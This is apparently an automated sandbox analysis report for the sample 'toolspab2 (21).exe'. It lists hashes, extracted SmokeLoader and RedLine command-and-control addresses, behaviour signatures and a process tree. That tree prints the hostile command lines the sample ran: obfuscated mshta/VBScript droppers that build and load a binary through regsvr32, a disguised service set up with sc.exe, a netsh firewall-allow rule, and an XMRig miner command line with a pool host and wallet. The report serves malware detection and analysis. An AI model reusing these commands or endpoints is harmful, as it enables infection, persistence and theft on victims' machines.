Resubmissions

12-07-2021 16:55

210712-cvz622xsbj 10

10-07-2021 13:25

210710-pdfh7kft96 10

09-07-2021 23:00

210709-hewxkm1xlj 10

09-07-2021 16:08

210709-5ql27kyjqa 10

09-07-2021 14:08

210709-pt977a4bhe 10

08-07-2021 22:09

210708-3ypfnj5j7x 10

08-07-2021 13:30

210708-4hsk7y9f2x 10

08-07-2021 12:14

210708-8t5f9z9egj 10

Analysis

  • max time kernel
    1800s
  • max time network
    1806s
  • platform
    windows10_x64
  • resource
    win10v20210408
  • submitted
    09-07-2021 14:08

General

  • Target

    toolspab2 (21).exe

  • Size

    315KB

  • MD5

    585c257e0b345b762e7cdc407d8f9da2

  • SHA1

    ffee403d97b76c3460fc166b9d5ce1205cd216a5

  • SHA256

    4a0ecbcf9b54ed1c9654eb9ee214a797f48c980c6d03a261f62fa9671a2733d6

  • SHA512

    14d39a6cd1c6d912cae7c35e2a98affcd5a9c1df6b947c42de65344e08d34912b09ccac83f9d8c3213b4e3d555769801e8218cb3f4b970d1d08606ee5a454ba8

Malware Config

Extracted

Family

smokeloader

Version

2020

C2

http://999080321newfolder1002002131-service1002.space/

http://999080321newfolder1002002231-service1002.space/

http://999080321newfolder3100231-service1002.space/

http://999080321newfolder1002002431-service1002.space/

http://999080321newfolder1002002531-service1002.space/

http://999080321newfolder33417-012425999080321.space/

http://999080321test125831-service10020125999080321.space/

http://999080321test136831-service10020125999080321.space/

http://999080321test147831-service10020125999080321.space/

http://999080321test146831-service10020125999080321.space/

http://999080321test134831-service10020125999080321.space/

http://999080321est213531-service1002012425999080321.ru/

http://999080321yes1t3481-service10020125999080321.ru/

http://999080321test13561-service10020125999080321.su/

http://999080321test14781-service10020125999080321.info/

http://999080321test13461-service10020125999080321.net/

http://999080321test15671-service10020125999080321.tech/

http://999080321test12671-service10020125999080321.online/

http://999080321utest1341-service10020125999080321.ru/

http://999080321uest71-service100201dom25999080321.ru/

rc4.i32
rc4.i32
rc4.i32
rc4.i32

Extracted

Family

redline

Botnet

YTMaloy

C2

87.251.71.125:80

Extracted

Family

metasploit

Version

windows/single_exec

Extracted

Family

redline

C2

82.202.161.37:26317

Signatures

  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

  • Glupteba Payload 2 IoCs
  • MetaSploit

    Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 4 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Socelars

    Socelars is an infostealer targeting browser cookies and credit card credentials.

  • Socelars Payload 2 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Checks for common network interception software 1 TTPs

    Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.

  • XMRig Miner Payload 3 IoCs
  • Creates new service(s) 1 TTPs
  • Downloads MZ/PE file
  • Drops file in Drivers directory 1 IoCs
  • Executes dropped EXE 35 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Deletes itself 1 IoCs
  • Loads dropped DLL 19 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
  • Suspicious use of SetThreadContext 8 IoCs
  • Drops file in Program Files directory 30 IoCs
  • Drops file in Windows directory 2 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 3 IoCs
  • Checks SCSI registry key(s) 3 TTPs 27 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 2 IoCs
  • Kills process with taskkill 2 IoCs
  • Modifies Internet Explorer settings 1 TTPs 4 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry class 64 IoCs
  • Modifies system certificate store 2 TTPs 5 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of UnmapMainImage 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\toolspab2 (21).exe
    "C:\Users\Admin\AppData\Local\Temp\toolspab2 (21).exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1000
    • C:\Users\Admin\AppData\Local\Temp\toolspab2 (21).exe
      "C:\Users\Admin\AppData\Local\Temp\toolspab2 (21).exe"
      2⤵
      • Loads dropped DLL
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:200
  • C:\Users\Admin\AppData\Local\Temp\92BB.exe
    C:\Users\Admin\AppData\Local\Temp\92BB.exe
    1⤵
    • Executes dropped EXE
    PID:2616
  • C:\Users\Admin\AppData\Local\Temp\94EF.exe
    C:\Users\Admin\AppData\Local\Temp\94EF.exe
    1⤵
    • Executes dropped EXE
    PID:1548
  • C:\Users\Admin\AppData\Local\Temp\9993.exe
    C:\Users\Admin\AppData\Local\Temp\9993.exe
    1⤵
    • Executes dropped EXE
    PID:496
  • C:\Users\Admin\AppData\Local\Temp\9CB1.exe
    C:\Users\Admin\AppData\Local\Temp\9CB1.exe
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Checks SCSI registry key(s)
    • Suspicious behavior: MapViewOfSection
    PID:2144
  • C:\Users\Admin\AppData\Local\Temp\A388.exe
    C:\Users\Admin\AppData\Local\Temp\A388.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of SetThreadContext
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3912
    • C:\Users\Admin\AppData\Local\Temp\A388.exe
      C:\Users\Admin\AppData\Local\Temp\A388.exe
      2⤵
      • Executes dropped EXE
      PID:2508
    • C:\Users\Admin\AppData\Local\Temp\A388.exe
      C:\Users\Admin\AppData\Local\Temp\A388.exe
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:2332
  • C:\Windows\SysWOW64\explorer.exe
    C:\Windows\SysWOW64\explorer.exe
    1⤵
      PID:3492
    • C:\Windows\explorer.exe
      C:\Windows\explorer.exe
      1⤵
        PID:4072
      • C:\Windows\SysWOW64\explorer.exe
        C:\Windows\SysWOW64\explorer.exe
        1⤵
          PID:1640
        • C:\Windows\explorer.exe
          C:\Windows\explorer.exe
          1⤵
          • Suspicious behavior: MapViewOfSection
          PID:2512
        • C:\Windows\SysWOW64\explorer.exe
          C:\Windows\SysWOW64\explorer.exe
          1⤵
            PID:2292
          • C:\Windows\explorer.exe
            C:\Windows\explorer.exe
            1⤵
            • Suspicious behavior: MapViewOfSection
            PID:636
          • C:\Windows\SysWOW64\explorer.exe
            C:\Windows\SysWOW64\explorer.exe
            1⤵
              PID:1016
            • C:\Windows\explorer.exe
              C:\Windows\explorer.exe
              1⤵
              • Suspicious behavior: MapViewOfSection
              PID:1440
            • C:\Windows\SysWOW64\explorer.exe
              C:\Windows\SysWOW64\explorer.exe
              1⤵
                PID:3100
              • C:\Users\Admin\AppData\Local\Temp\58F.exe
                C:\Users\Admin\AppData\Local\Temp\58F.exe
                1⤵
                • Executes dropped EXE
                PID:692
                • C:\Windows\SysWOW64\mshta.exe
                  "C:\Windows\System32\mshta.exe" vBSCRIPt: CloSE ( cREaTEoBJecT ( "wscriPt.shEll" ). Run ( "CMD.Exe /q /C copY /y ""C:\Users\Admin\AppData\Local\Temp\58F.exe"" ..\U1PwSASbnJZ1Nt2.eXE && StART ..\U1PwSASbnJZ1Nt2.EXe /P3CGKJWhQOddZbA4xHxxKHWFcKxxTqS & IF """" == """" for %E in ( ""C:\Users\Admin\AppData\Local\Temp\58F.exe"" ) do taskkill -iM ""%~NxE"" -f " , 0 , TRuE ) )
                  2⤵
                    PID:2600
                    • C:\Windows\SysWOW64\cmd.exe
                      "C:\Windows\System32\cmd.exe" /q /C copY /y "C:\Users\Admin\AppData\Local\Temp\58F.exe" ..\U1PwSASbnJZ1Nt2.eXE && StART ..\U1PwSASbnJZ1Nt2.EXe /P3CGKJWhQOddZbA4xHxxKHWFcKxxTqS & IF "" == "" for %E in ( "C:\Users\Admin\AppData\Local\Temp\58F.exe" ) do taskkill -iM "%~NxE" -f
                      3⤵
                        PID:4028
                        • C:\Users\Admin\AppData\Local\Temp\U1PwSASbnJZ1Nt2.eXE
                          ..\U1PwSASbnJZ1Nt2.EXe /P3CGKJWhQOddZbA4xHxxKHWFcKxxTqS
                          4⤵
                          • Executes dropped EXE
                          PID:1328
                          • C:\Windows\SysWOW64\mshta.exe
                            "C:\Windows\System32\mshta.exe" vBSCRIPt: CloSE ( cREaTEoBJecT ( "wscriPt.shEll" ). Run ( "CMD.Exe /q /C copY /y ""C:\Users\Admin\AppData\Local\Temp\U1PwSASbnJZ1Nt2.eXE"" ..\U1PwSASbnJZ1Nt2.eXE && StART ..\U1PwSASbnJZ1Nt2.EXe /P3CGKJWhQOddZbA4xHxxKHWFcKxxTqS & IF ""/P3CGKJWhQOddZbA4xHxxKHWFcKxxTqS "" == """" for %E in ( ""C:\Users\Admin\AppData\Local\Temp\U1PwSASbnJZ1Nt2.eXE"" ) do taskkill -iM ""%~NxE"" -f " , 0 , TRuE ) )
                            5⤵
                              PID:772
                              • C:\Windows\SysWOW64\cmd.exe
                                "C:\Windows\System32\cmd.exe" /q /C copY /y "C:\Users\Admin\AppData\Local\Temp\U1PwSASbnJZ1Nt2.eXE" ..\U1PwSASbnJZ1Nt2.eXE && StART ..\U1PwSASbnJZ1Nt2.EXe /P3CGKJWhQOddZbA4xHxxKHWFcKxxTqS & IF "/P3CGKJWhQOddZbA4xHxxKHWFcKxxTqS " == "" for %E in ( "C:\Users\Admin\AppData\Local\Temp\U1PwSASbnJZ1Nt2.eXE" ) do taskkill -iM "%~NxE" -f
                                6⤵
                                  PID:196
                              • C:\Windows\SysWOW64\mshta.exe
                                "C:\Windows\System32\mshta.exe" VBscRipt: clOSe ( CreATeobJECT ( "WScRIpT.SHEll" ). RUN ( "C:\Windows\system32\cmd.exe /q /C echo G9wY7C:\Users\Admin\AppData\Local\TempEfSQ> XVLAANMN.HX&echo | Set /p = ""MZ"" > P6JDQwUY.2 & COPY /B /y P6JDQwUY.2 + JRtfD7.X + DYta.ASk + I6sjWDN.8 + M0GT.7_ +XVLAANmN.HX ..\FRKN5p.zE & sTArt regsvr32 /u ..\FRKN5P.zE /S& dEl /q * " , 0 , TruE ) )
                                5⤵
                                  PID:3912
                                  • C:\Windows\SysWOW64\cmd.exe
                                    "C:\Windows\system32\cmd.exe" /q /C echo G9wY7C:\Users\Admin\AppData\Local\TempEfSQ> XVLAANMN.HX&echo | Set /p = "MZ" > P6JDQwUY.2 & COPY /B /y P6JDQwUY.2 + JRtfD7.X + DYta.ASk + I6sjWDN.8 + M0GT.7_+XVLAANmN.HX ..\FRKN5p.zE& sTArt regsvr32 /u ..\FRKN5P.zE /S& dEl /q *
                                    6⤵
                                      PID:1272
                                      • C:\Windows\SysWOW64\cmd.exe
                                        C:\Windows\system32\cmd.exe /S /D /c" echo "
                                        7⤵
                                          PID:764
                                        • C:\Windows\SysWOW64\cmd.exe
                                          C:\Windows\system32\cmd.exe /S /D /c" Set /p = "MZ" 1>P6JDQwUY.2"
                                          7⤵
                                            PID:2112
                                          • C:\Windows\SysWOW64\regsvr32.exe
                                            regsvr32 /u ..\FRKN5P.zE /S
                                            7⤵
                                            • Loads dropped DLL
                                            • Suspicious use of NtCreateThreadExHideFromDebugger
                                            PID:2552
                                    • C:\Windows\SysWOW64\taskkill.exe
                                      taskkill -iM "58F.exe" -f
                                      4⤵
                                      • Kills process with taskkill
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:2140
                              • C:\Users\Admin\AppData\Local\Temp\16B6.exe
                                C:\Users\Admin\AppData\Local\Temp\16B6.exe
                                1⤵
                                • Executes dropped EXE
                                PID:1224
                                • C:\Users\Admin\AppData\Local\Temp\is-G97HA.tmp\16B6.tmp
                                  "C:\Users\Admin\AppData\Local\Temp\is-G97HA.tmp\16B6.tmp" /SL5="$201FE,188175,104448,C:\Users\Admin\AppData\Local\Temp\16B6.exe"
                                  2⤵
                                  • Executes dropped EXE
                                  • Loads dropped DLL
                                  PID:1200
                                  • C:\Users\Admin\AppData\Local\Temp\is-PP4BO.tmp\134 Vaporeondè_éçè_)))_.exe
                                    "C:\Users\Admin\AppData\Local\Temp\is-PP4BO.tmp\134 Vaporeondè_éçè_)))_.exe" /S /UID=rec7
                                    3⤵
                                    • Drops file in Drivers directory
                                    • Executes dropped EXE
                                    • Adds Run key to start application
                                    • Drops file in Program Files directory
                                    PID:4044
                                    • C:\Program Files\Common Files\LUFDBZXQTM\irecord.exe
                                      "C:\Program Files\Common Files\LUFDBZXQTM\irecord.exe" /VERYSILENT
                                      4⤵
                                      • Executes dropped EXE
                                      PID:2476
                                      • C:\Users\Admin\AppData\Local\Temp\is-80EC0.tmp\irecord.tmp
                                        "C:\Users\Admin\AppData\Local\Temp\is-80EC0.tmp\irecord.tmp" /SL5="$30202,5808768,66560,C:\Program Files\Common Files\LUFDBZXQTM\irecord.exe" /VERYSILENT
                                        5⤵
                                        • Executes dropped EXE
                                        • Drops file in Program Files directory
                                        • Suspicious use of FindShellTrayWindow
                                        PID:3524
                                        • C:\Program Files (x86)\i-record\I-Record.exe
                                          "C:\Program Files (x86)\i-record\I-Record.exe" -silent -desktopShortcut -programMenu
                                          6⤵
                                          • Executes dropped EXE
                                          • Loads dropped DLL
                                          PID:4028
                                    • C:\Users\Admin\AppData\Local\Temp\26-3c7d4-282-163bf-006d7441241cb\Hiluliliby.exe
                                      "C:\Users\Admin\AppData\Local\Temp\26-3c7d4-282-163bf-006d7441241cb\Hiluliliby.exe"
                                      4⤵
                                      • Executes dropped EXE
                                      • Checks computer location settings
                                      PID:1784
                                    • C:\Users\Admin\AppData\Local\Temp\df-45e4f-b1a-5c9b8-eb99e01d26465\Nyqaegemadi.exe
                                      "C:\Users\Admin\AppData\Local\Temp\df-45e4f-b1a-5c9b8-eb99e01d26465\Nyqaegemadi.exe"
                                      4⤵
                                      • Executes dropped EXE
                                      PID:3752
                                      • C:\Windows\System32\cmd.exe
                                        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\qdf3lqaw.tx3\GcleanerEU.exe /eufive & exit
                                        5⤵
                                          PID:4560
                                        • C:\Windows\System32\cmd.exe
                                          "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\kt4jnspk.ln4\installer.exe /qn CAMPAIGN="654" & exit
                                          5⤵
                                            PID:4656
                                          • C:\Windows\System32\cmd.exe
                                            "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\nybakam4.nv4\google-game.exe & exit
                                            5⤵
                                              PID:4876
                                            • C:\Windows\System32\cmd.exe
                                              "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\1mefy255.l1t\GcleanerWW.exe /mixone & exit
                                              5⤵
                                                PID:4104
                                              • C:\Windows\System32\cmd.exe
                                                "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\fg2tojqx.xks\toolspab1.exe & exit
                                                5⤵
                                                  PID:2600
                                                  • C:\Users\Admin\AppData\Local\Temp\fg2tojqx.xks\toolspab1.exe
                                                    C:\Users\Admin\AppData\Local\Temp\fg2tojqx.xks\toolspab1.exe
                                                    6⤵
                                                    • Executes dropped EXE
                                                    • Suspicious use of SetThreadContext
                                                    PID:3176
                                                    • C:\Users\Admin\AppData\Local\Temp\fg2tojqx.xks\toolspab1.exe
                                                      C:\Users\Admin\AppData\Local\Temp\fg2tojqx.xks\toolspab1.exe
                                                      7⤵
                                                      • Executes dropped EXE
                                                      • Loads dropped DLL
                                                      • Checks SCSI registry key(s)
                                                      • Suspicious behavior: MapViewOfSection
                                                      PID:4364
                                        • C:\Users\Admin\AppData\Local\Temp\22DD.exe
                                          C:\Users\Admin\AppData\Local\Temp\22DD.exe
                                          1⤵
                                          • Executes dropped EXE
                                          PID:2704
                                          • C:\Users\Admin\AppData\Local\Temp\22DD.exe
                                            "C:\Users\Admin\AppData\Local\Temp\22DD.exe"
                                            2⤵
                                            • Executes dropped EXE
                                            • Modifies data under HKEY_USERS
                                            • Modifies system certificate store
                                            PID:3952
                                        • C:\Users\Admin\AppData\Local\Temp\28AA.exe
                                          C:\Users\Admin\AppData\Local\Temp\28AA.exe
                                          1⤵
                                          • Executes dropped EXE
                                          PID:648
                                          • C:\Windows\SysWOW64\cmd.exe
                                            "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\xghzymmp\
                                            2⤵
                                              PID:3276
                                            • C:\Windows\SysWOW64\cmd.exe
                                              "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\fnuezxuz.exe" C:\Windows\SysWOW64\xghzymmp\
                                              2⤵
                                                PID:696
                                              • C:\Windows\SysWOW64\sc.exe
                                                "C:\Windows\System32\sc.exe" create xghzymmp binPath= "C:\Windows\SysWOW64\xghzymmp\fnuezxuz.exe /d\"C:\Users\Admin\AppData\Local\Temp\28AA.exe\"" type= own start= auto DisplayName= "wifi support"
                                                2⤵
                                                  PID:2252
                                                • C:\Windows\SysWOW64\sc.exe
                                                  "C:\Windows\System32\sc.exe" description xghzymmp "wifi internet conection"
                                                  2⤵
                                                    PID:3716
                                                  • C:\Windows\SysWOW64\sc.exe
                                                    "C:\Windows\System32\sc.exe" start xghzymmp
                                                    2⤵
                                                      PID:3980
                                                    • C:\Windows\SysWOW64\netsh.exe
                                                      "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                                                      2⤵
                                                        PID:1464
                                                    • C:\Users\Admin\AppData\Local\Temp\31F2.exe
                                                      C:\Users\Admin\AppData\Local\Temp\31F2.exe
                                                      1⤵
                                                      • Executes dropped EXE
                                                      • Modifies system certificate store
                                                      PID:2136
                                                      • C:\Windows\SysWOW64\cmd.exe
                                                        cmd.exe /c taskkill /f /im chrome.exe
                                                        2⤵
                                                          PID:1464
                                                          • C:\Windows\SysWOW64\taskkill.exe
                                                            taskkill /f /im chrome.exe
                                                            3⤵
                                                            • Kills process with taskkill
                                                            PID:3276
                                                      • C:\Windows\SysWOW64\xghzymmp\fnuezxuz.exe
                                                        C:\Windows\SysWOW64\xghzymmp\fnuezxuz.exe /d"C:\Users\Admin\AppData\Local\Temp\28AA.exe"
                                                        1⤵
                                                        • Executes dropped EXE
                                                        • Suspicious use of SetThreadContext
                                                        PID:3088
                                                        • C:\Windows\SysWOW64\svchost.exe
                                                          svchost.exe
                                                          2⤵
                                                          • Drops file in System32 directory
                                                          • Suspicious use of SetThreadContext
                                                          • Modifies data under HKEY_USERS
                                                          PID:2644
                                                          • C:\Windows\SysWOW64\svchost.exe
                                                            svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
                                                            3⤵
                                                              PID:3824
                                                        • \??\c:\windows\system32\svchost.exe
                                                          c:\windows\system32\svchost.exe -k netsvcs -s seclogon
                                                          1⤵
                                                          • Suspicious use of NtCreateUserProcessOtherParentProcess
                                                          PID:1872
                                                        • C:\Users\Admin\AppData\Local\Temp\4ADA.exe
                                                          C:\Users\Admin\AppData\Local\Temp\4ADA.exe
                                                          1⤵
                                                          • Executes dropped EXE
                                                          PID:2700
                                                        • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
                                                          "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
                                                          1⤵
                                                          • Drops file in Windows directory
                                                          • Modifies Internet Explorer settings
                                                          • Modifies registry class
                                                          • Suspicious use of SetWindowsHookEx
                                                          PID:4324
                                                        • C:\Windows\system32\browser_broker.exe
                                                          C:\Windows\system32\browser_broker.exe -Embedding
                                                          1⤵
                                                          • Modifies Internet Explorer settings
                                                          PID:4388
                                                        • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                          "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                          1⤵
                                                          • Modifies registry class
                                                          • Suspicious behavior: MapViewOfSection
                                                          • Suspicious use of SetWindowsHookEx
                                                          PID:4128
                                                        • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                          "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                          1⤵
                                                          • Modifies Internet Explorer settings
                                                          • Modifies registry class
                                                          PID:4668
                                                          • C:\Windows\system32\WerFault.exe
                                                            C:\Windows\system32\WerFault.exe -u -p 4668 -s 1752
                                                            2⤵
                                                            • Program crash
                                                            PID:4916
                                                        • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                          "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                          1⤵
                                                          • Modifies registry class
                                                          PID:4588
                                                          • C:\Windows\system32\WerFault.exe
                                                            C:\Windows\system32\WerFault.exe -u -p 4588 -s 1488
                                                            2⤵
                                                            • Program crash
                                                            PID:5076
                                                        • C:\Users\Admin\AppData\Roaming\hhthiwj
                                                          C:\Users\Admin\AppData\Roaming\hhthiwj
                                                          1⤵
                                                          • Executes dropped EXE
                                                          • Suspicious use of SetThreadContext
                                                          PID:4968
                                                          • C:\Users\Admin\AppData\Roaming\hhthiwj
                                                            C:\Users\Admin\AppData\Roaming\hhthiwj
                                                            2⤵
                                                            • Executes dropped EXE
                                                            • Loads dropped DLL
                                                            • Checks SCSI registry key(s)
                                                            • Suspicious behavior: MapViewOfSection
                                                            PID:4004
                                                        • C:\Users\Admin\AppData\Roaming\huthiwj
                                                          C:\Users\Admin\AppData\Roaming\huthiwj
                                                          1⤵
                                                          • Executes dropped EXE
                                                          • Loads dropped DLL
                                                          • Checks SCSI registry key(s)
                                                          • Suspicious behavior: MapViewOfSection
                                                          PID:4768
                                                        • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
                                                          "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
                                                          1⤵
                                                          • Drops file in Windows directory
                                                          • Modifies registry class
                                                          • Suspicious use of SetWindowsHookEx
                                                          PID:1956
                                                        • C:\Windows\system32\browser_broker.exe
                                                          C:\Windows\system32\browser_broker.exe -Embedding
                                                          1⤵
                                                          • Modifies Internet Explorer settings
                                                          PID:3236
                                                        • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                          "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                          1⤵
                                                          • Suspicious behavior: MapViewOfSection
                                                          • Suspicious use of SetWindowsHookEx
                                                          PID:4852
                                                        • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                          "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                          1⤵
                                                          • Modifies registry class
                                                          PID:4324
                                                        • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                          "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                          1⤵
                                                          • Modifies registry class
                                                          PID:4944
                                                        • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                          "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                          1⤵
                                                            PID:2600
                                                          • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                            "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                            1⤵
                                                            • Modifies registry class
                                                            PID:4020
                                                          • C:\Users\Admin\AppData\Roaming\hhthiwj
                                                            C:\Users\Admin\AppData\Roaming\hhthiwj
                                                            1⤵
                                                            • Executes dropped EXE
                                                            • Suspicious use of SetThreadContext
                                                            PID:4440
                                                            • C:\Users\Admin\AppData\Roaming\hhthiwj
                                                              C:\Users\Admin\AppData\Roaming\hhthiwj
                                                              2⤵
                                                              • Executes dropped EXE
                                                              • Loads dropped DLL
                                                              • Checks SCSI registry key(s)
                                                              PID:4676
                                                          • C:\Users\Admin\AppData\Roaming\huthiwj
                                                            C:\Users\Admin\AppData\Roaming\huthiwj
                                                            1⤵
                                                            • Executes dropped EXE
                                                            • Loads dropped DLL
                                                            • Checks SCSI registry key(s)
                                                            PID:3916
                                                          • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                            "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                            1⤵
                                                            • Modifies registry class
                                                            PID:3868
                                                          • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                            "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                            1⤵
                                                              PID:4336
                                                            • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                              "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                              1⤵
                                                              • Modifies registry class
                                                              PID:1356
                                                            • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                              "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                              1⤵
                                                              • Modifies registry class
                                                              PID:4908
                                                            • C:\Users\Admin\AppData\Local\Temp\C11.exe
                                                              C:\Users\Admin\AppData\Local\Temp\C11.exe
                                                              1⤵
                                                              • Executes dropped EXE
                                                              PID:680
                                                            • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                              "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                              1⤵
                                                              • Modifies registry class
                                                              PID:4468
                                                              • C:\Windows\system32\WerFault.exe
                                                                C:\Windows\system32\WerFault.exe -u -p 4468 -s 1232
                                                                2⤵
